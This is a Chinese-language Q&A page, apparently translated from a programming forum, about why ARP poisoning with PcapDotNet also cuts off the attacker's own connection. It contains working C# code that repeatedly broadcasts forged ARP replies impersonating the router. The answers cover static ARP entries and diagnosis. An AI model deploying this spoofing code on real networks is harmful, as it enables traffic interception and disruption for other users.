ARP毒害自己
本文关键字:自己 ARP | 更新日期: 2023-09-27 18:04:28
我使用PcapDotNet创建ARP有毒数据包,下一个代码:
using (PacketCommunicator communicator =
selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
while (true)
{
Packet arp;
EthernetLayer ethernetLayer = new EthernetLayer
{
Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac
Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP
EtherType = EthernetType.None, // Will be filled automatically.
};
ArpLayer arpLayer = new ArpLayer
{
ProtocolType = EthernetType.IpV4,
Operation = ArpOperation.Reply,
SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC
SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP
TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(),
TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(),
};
PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);
arp = builder.Build(DateTime.Now);
communicator.SendPacket(arp);
System.Threading.Thread.Sleep(500);
}
}
问题是:我可以毒害远程设备,但我的电脑也失去了网络(毒害自己?)我想也许问题是我必须指出(以某种方式),我希望我自己的系统不读取我发送的数据包…但是我不知道怎么....谁能给我解释一下这里有什么问题吗?
将包含网关IP的ARP表项标记为静态(具有正确的硬件地址)。为此,请以管理员身份在cmd中执行以下命令:
netsh interface ip add neighbors "{Network Device}" {IP Address} {MAC Address}
网络设备例如"Local Area Connection"或"Ethernet"(不要忘记引号)。要查找当前使用的网络设备,请执行命令"ncpa.cpl"。
如果要删除静态条目,请在cmd中执行以下命令:
netsh interface ip delete neighbors "{Network Device}" {IP Address}
另外,请记住,您可能没有internet的原因之一是因为网络中的所有流量都被重定向到您的主机。由于您的主机不具备与路由器相同的功能,因此可能会出现网络拥塞。为了确定你不能访问互联网的原因是因为你中毒了,在cmd中执行命令"arp -a",检查路由器的硬件地址。如果硬件地址与主机的硬件地址相同,那么您正在毒害自己。
是否有可能为您的路由器内部IP创建有毒记录?如果是这样的话,那么你的互联网连接停止工作也就不足为奇了,因为你的操作系统将不再能够向你的路由器发送任何东西,因此,也就无法向互联网发送任何东西了。